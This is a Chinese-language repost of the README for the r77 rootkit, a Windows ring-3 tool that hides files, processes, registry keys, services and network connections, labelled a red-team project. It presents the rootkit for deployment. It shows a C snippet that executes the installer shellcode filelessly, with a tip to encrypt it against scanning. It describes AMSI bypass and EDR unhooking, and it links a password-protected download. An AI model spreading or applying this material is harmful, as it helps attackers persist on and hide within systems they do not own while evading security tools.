# r77 Rootkit
项目地址：https://github.com/bytecode77/r77-rootkit
[](https://github.com/bytecode77/r77-rootkit#r77-rootkit)

## 无文件环 3 rootkit

[](https://github.com/bytecode77/r77-rootkit#fileless-ring-3-rootkit)

r77 是一个 ring 3 rootkit，它会隐藏所有信息：

*   文件、目录
*   进程和 CPU/GPU 使用情况
*   注册表项和值
*   服务
*   TCP 和 UDP 连接
*   连接点、命名管道、计划任务

## 按前缀隐藏

[](https://github.com/bytecode77/r77-rootkit#hiding-by-prefix)

一切以`"$77"`“隐藏”开头的事物。

[![](/media/202606/7c88917beced467ca4c9669d276f43fb8618.png)](https://camo.githubusercontent.com/4f6775e3890a3688e699011425d523d4fb4051730116e58a7260081aa844d078/68747470733a2f2f62797465636f646537372e636f6d2f696d616765732f70616765732f7237372d726f6f746b69742f686964696e672e77656270)

## 配置系统

[](https://github.com/bytecode77/r77-rootkit#configuration-system)

**动态配置系统允许按PID**和**名称**隐藏进程，按**完整路径**隐藏文件系统项，隐藏特定端口的 TCP 和 UDP 连接等。

[![](/media/202606/949b7354171846bda7e6e99866491cac5509.png)](https://camo.githubusercontent.com/06809565ebddcbecc8c1a101349fd8d9f6d929ab00797555804460c8930f0c4e/68747470733a2f2f62797465636f646537372e636f6d2f696d616765732f70616765732f7237372d726f6f746b69742f636f6e6669672e77656270)

该配置位于指定位置`HKEY_LOCAL_MACHINE\SOFTWARE\$77config`，任何无需提升权限的进程均可写入。此密钥的 DACL 设置为授予任何用户完全访问权限。

此外，`$77config`密钥被rootkit隐藏了。

## 安装程序

[](https://github.com/bytecode77/r77-rootkit#installer)

部署 r77 只需要一个文件：`Install.exe`。执行后，r77 会持久化到系统中，并注入所有正在运行的进程。

`Uninstall.exe`从系统中完全、优雅地移除 r77。

`Install.shellcode`这是安装程序的 shellcode 版本。这样，安装过程就可以在不删除任何文件的情况下完成`Install.exe`。只需将 shellcode 加载到内存中，将其转换为函数指针，然后执行即可：

```
int main()
{
	// 1. Load Install.shellcode from resources or from a BYTE[]
	// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
	LPBYTE shellCode = ...

// 2. Make the shellcode RWX.
	DWORD oldProtect;
	VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);

// 3. Cast the buffer to a function pointer and execute it.
	((void(*)())shellCode)();

// This is the fileless equivalent to executing Install.exe.

return 0;
}
```

## 执行流程

[](https://github.com/bytecode77/r77-rootkit#execution-flow)

该rootkit驻留在系统内存中，不会向磁盘写入任何文件。这一过程分多个阶段完成。

此图展示了从安装程序执行到每个进程中 rootkit DLL 运行的各个阶段。[文档中](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf)有一个章节详细介绍了每个阶段的实现。

[![](/media/202606/b2eb7ad3bdd744e6af2e5de65dd79db41367.png)](https://camo.githubusercontent.com/f8b0407b0215b9c3b3b0a482d093c7beb3659fa5d35995ace5d2d5d5903a6ff4/68747470733a2f2f62797465636f646537372e636f6d2f696d616765732f70616765732f7237372d726f6f746b69742f657865637574696f6e2d666c6f772d6c696768742e77656270)

## AV/EDR规避

[](https://github.com/bytecode77/r77-rootkit#avedr-evasion)

目前有多种AV和EDR规避技术正在使用：

*   **AMSI 绕过：**此 PowerShell 内联脚本通过修改代码使其`amsi.dll!AmsiScanBuffer`始终返回 false 来禁用 AMSI `AMSI_RESULT_CLEAN`。它利用多态性来规避 AMSI 绕过的签名检测。
*   **DLL 解除挂钩：**由于 EDR 解决方案通过挂钩来监控 API 调用`ntdll.dll`，因此需要通过`ntdll.dll`从磁盘加载一份全新的 DLL 副本并恢复原始部分来移除这些挂钩。否则，将会检测到进程注入攻击。

## 测试环境

[](https://github.com/bytecode77/r77-rootkit#test-environment)

测试控制台是一个有用的工具，可以将 r77 注入到各个进程中，并对配置系统进行测试。

[![](/media/202606/dad0cb753b234f0399207f2ef77e8f425760.png)](https://camo.githubusercontent.com/5c6875ea5e73565a1342c0315253effc00ae4d0faac34acf6f6f0ec4a502c54f/68747470733a2f2f62797465636f646537372e636f6d2f696d616765732f70616765732f7237372d726f6f746b69742f74657374636f6e736f6c652e77656270)

## 技术文档

[](https://github.com/bytecode77/r77-rootkit#technical-documentation)

请阅读[技术文档](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf)，以全面完整地了解 r77 及其内部结构，以及如何部署和集成它。

## 下载

[](https://github.com/bytecode77/r77-rootkit#downloads)

[![](/media/202606/8b678ba0fbe34790b62a16803ac5d4d42924.png)r77 Rootkit 1.8.1.zip](https://downloads.bytecode77.com/r77Rootkit%201.8.1.zip) （**ZIP 密码：** bytecode77）  
[![](/media/202606/07ee31606d8f45bba0e382472dde51b42914.png)技术文档](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf)

WIN系统红队Rootkit项目